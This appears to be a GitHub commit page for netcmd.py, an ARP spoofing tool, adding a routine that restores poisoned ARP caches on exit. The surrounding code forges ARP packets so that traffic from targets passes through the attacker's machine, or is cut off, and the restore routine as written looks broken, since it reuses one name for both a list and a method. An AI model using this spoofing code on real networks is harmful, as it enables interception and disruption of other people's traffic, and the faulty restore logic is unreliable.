Skip to content

HTTPS clone URL

Subversion checkout URL

You can clone with HTTPS or Subversion.

Download ZIP
Browse files

Implemented arp cache restore

  • Loading branch information...
commit bdd90d3eccee590f773c6a351d2b25338bf91bd8 1 parent f475768
@evilsocket authored
Showing with 17 additions and 2 deletions.
  1. +17 −2 netcmd.py
View
19 netcmd.py
@@ -79,6 +79,7 @@ def __init__( self, interface, kill = False ):
self.gateway = None
self.gateway_hw = None
self.packets = []
+ self.restore = []
self.endpoints = []
if not os.geteuid() == 0:
@@ -132,6 +133,9 @@ def __init__( self, interface, kill = False ):
for target in self.targets:
self.packets.append( Ether( dst = self.gateway_hw ) / ARP( op = "who-has", psrc = target[1], pdst = self.gateway ) )
self.packets.append( Ether( dst = target[0] ) / ARP( op = "who-has", psrc = self.gateway, pdst = target[1] ) )
+ # and packets to restore the cache later
+ self.restore.append( Ether( src = target[0], dst = self.gateway_hw ) / ARP( op = "who-has", psrc = target[1], pdst = self.gateway ) )
+ self.restore.append( Ether( src = self.gateway_hw, dst = target[0] ) / ARP( op = "who-has", psrc = self.gateway, pdst = target[1] ) )
if not kill:
print "@ Enabling ipv4 forwarding system wide ..."
@@ -140,8 +144,19 @@ def __init__( self, interface, kill = False ):
print "@ Disabling ipv4 forwarding system wide to kill target connections ..."
self.__set_forwarding( False )
- atexit.register( self.__set_forwarding, False )
-
+ atexit.register( self.restore )
+
+ def restore( self ):
+ os.write( 1, "@ Restoring ARP cache " )
+ for i in range(5):
+ for packet in self.restore:
+ sendp( packet, iface_hint = self.gateway )
+ os.write( 1, '.' )
+ time.sleep(1)
+ os.write( 1, "\n" )
+
+ self.__set_forwarding( False )
+
def spoof( self ):
for packet in self.packets:
sendp( packet, iface_hint = self.gateway )
Please sign in to comment.
Something went wrong with that request. Please try again.